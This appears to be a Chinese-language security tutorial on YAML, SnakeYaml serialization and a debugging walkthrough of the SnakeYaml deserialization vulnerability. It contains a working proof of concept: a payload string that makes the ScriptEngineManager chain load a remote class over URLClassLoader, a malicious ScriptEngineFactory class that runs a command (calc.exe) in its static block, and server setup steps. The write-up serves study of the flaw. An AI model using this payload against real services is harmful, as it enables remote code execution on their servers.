yaml

yaml简介 是一种数据序列化格式,易于被阅读,类似于XML。

基本语法:

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用Tab,只允许使用空格,缩进的空格数目不重要,只要相同层级的元素左对齐即可
  • ‘#’表示注释,从它开始到行尾都被忽略

强制类型转换:!!

yaml支持的三种格式:

  • 对象

使用冒号代表,格式为key: value,冒号后面加一个空格(可以使用缩进表示层级关系
image.png

  • 数组

使用一个短横线加一个空格代表一个数组项:
image.png

  • 常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。

参考:https://www.yiibai.com/yaml

SnakeYaml进行序列化和反序列化

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

demo:
User.java

  1. public class User {
  2. String name;
  3. public String getName() {
  4. return name;
  5. }
  6. public void setName(String name) {
  7. this.name = name;
  8. }
  9. }
  1. package yaml;
  2. import org.yaml.snakeyaml.Yaml;
  3. public class Test {
  4. public static void main(String[] args){
  5. User user = new User();
  6. user.setName("Sviivya0-");
  7. Yaml yaml = new Yaml();
  8. String s = yaml.dump(user);
  9. System.out.println(s);
  10. }
  11. }

输出yaml格式的内容,这里”!!”用于强制类型转化,”!!User”是将该对象转为User类,如果没有”!”则就是个key为字符串的Map
image.png

调试yaml反序列化链

SnakeYaml反序列化的实现主要是通过反射机制来查找对应的Java类,新建一个实例并将对应的属性值赋给该实例。
**
调试Yaml.load()在调用时会调用将要反序列化的类的哪些方法。
将断点下在User user = yaml.load(s);看看load方法会调用哪些方法来对此序列化数据进行操作。

  • 在load函数里先实例化一个StreamReader类,并且将yaml数据通过构造函数赋值给StreamReader,再调用LoadFromReader类。

image.png

  • 在loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时type为java.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:

image.png

  • 跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag(tag如下图显示为类)为空,若不是则判断yaml格式数据的类型是否为Object类型、是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:

image.png

  • 跟下去继续调试,跟到getClassForNode()函数中,先根据tag取出className为User,然后调用getClassForName()函数根据tag获取到具体的User类(反射:
  • 在getClassName()函数中,判断开头是否是Tag.PREFIX即”tag:yaml.org,2002:”,是的话进行UTF-8编码并返回该类名:

image.png

  • 而在getClassForName()函数中,根据获取到的User类名来调用Class.forName()即通过反射的方式来获取目标类User:

image.png

  • 往下调试发现,调用construct()函数构造User类对象:

image.png

  • 进一步跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的User对象的属性值:

image.png

  • 跟进MethodProperty.set()函数,就是通过反射机制来调用User类name属性的setter方法来进行属性值的设置的:

image.png
image.png
调用属性值设置的方法,就返回含有属性值的User对象了。

简而言之就是将获取到的yaml格式的数据进行序列化,当遇到!!强制类型转换某个类时,服务端会对其类进行实例化,再挨个获取属性值的设置方法。换言之若我们将恶意方法写入到设置属性值的方法中,那么在服务器执行这个方法时,就会执行我们的恶意代码

SnakeYaml反序列化漏洞

影响版本:没有版本限制。
漏洞原理:因为SnakeYaml支持反序列化yaml格式的数据(包括java对象),所以当Yaml.load()参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

复现利用(基于ScriptEngineManager利用链)

本次反序列化利用的是ScriptEngineManager的利用链,ScriptEngineManager类用于Java和JavaScript之间的调用。
User.java:需要实现ScriptEngineManager接口类,利用其静态代码块用于执行恶意代码,将其User.java编译成User.class字节码文件,然后置于web服务器,便于访问、

这里生成class文件时,需要生成不带包名的文件,不然远程加载文件时找不到包、会报错。

  1. package yaml;
  2. import javax.script.ScriptEngine;
  3. import javax.script.ScriptEngineFactory;
  4. import java.io.IOException;
  5. import java.util.List;
  6. public class User implements ScriptEngineFactory {
  7. static{
  8. try {
  9. System.out.println("Passer6y nb.");
  10. Runtime.getRuntime().exec("calc.exe");
  11. } catch (IOException e) {
  12. e.printStackTrace();
  13. }
  14. }
  15. @Override
  16. public String getEngineName() {
  17. return null;
  18. }
  19. @Override
  20. public String getEngineVersion() {
  21. return null;
  22. }
  23. @Override
  24. public List<String> getExtensions() {
  25. return null;
  26. }
  27. @Overri
  28. public List<String> getMimeTypes() {
  29. return null;
  30. }
  31. @Override
  32. public List<String> getNames() {
  33. return null;
  34. }
  35. @Override
  36. public String getLanguageName() {
  37. return null;
  38. }
  39. @Override
  40. public String getLanguageVersion() {
  41. return null;
  42. }
  43. @Override
  44. public Object getParameter(String key) {
  45. return null;
  46. }
  47. @Override
  48. public String getMethodCallSyntax(String obj, String m, String... args) {
  49. return null;
  50. }
  51. @Override
  52. public String getOutputStatement(String toDisplay) {
  53. return null;
  54. }
  55. @Override
  56. public String getProgram(String... statements) {
  57. return null;
  58. }
  59. @Override
  60. public ScriptEngine getScriptEngine() {
  61. return null;
  62. }
  63. }

Test.java :假设的Yaml.load()外部可控的服务端程序。

  1. package yaml;
  2. import org.yaml.snakeyaml.Yaml;
  3. public class Test {
  4. public static void main(String[] args) {
  5. String s = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999/\"]]]]\n";
  6. Yaml yaml = new Yaml();
  7. yaml.load(s);
  8. }
  9. }

监听9999端口,将class文件放在Web服务所在的文件目录,同时在同级目录下创建如下文件META-INF\services\javax.script.ScriptEngineFactory; 其文件内容指定为被执行的User。

注意不要添加“.class”,否则会被当作是目录来分割处理,从而不能找到相应的class文件。

image.png

或者将其打包为恶意的jar包,直接命令执行 :https://github.com/artsploit/yaml-payload

payload :注意每个首次出现的”[“字符前面需要有个空格:

  1. !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999/\"]]]]\n

调试分析:

调试发现,在调用完如下调用链获取到类名”javax.script.ScriptEngineManager”之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的”java.net.URLClassLoader”类名和”java.net.URL”类名:
往下调试,在返回到的Constructor$ConstructSequence.construct()方法中,程序往下执行会调用newInstance():
image.png这里为新建ScriptEngineManager类实例,其中argumentList参数为URLClassLoader类对象。
然后就调用到了ScriptEngineManager类的构造函数了:
image.png
在init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>,这个就是Java的SPI机制,它会去寻找目标URL中META-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类即PoC,这就是前面为什么需要我们在一台第三方Web服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行
image.png
跟下去,在ServiceLoader$LazyIterator.nextService()函数中调用Class.forName()即通过反射来获取目标URL上的PoC.class,此时在Web服务端会看到被请求访问PoC.class的记录;接着c.newInstance()函数创建的PoC类实例传入javax.script.ScriptEngineManager类的cast()方法来执行:
image.png
此时由于新建的是PoC类实例,因此会调用到PoC类的构造函数,而该类的静态代码块会被执行一遍,从而触发率任意代码执行漏洞。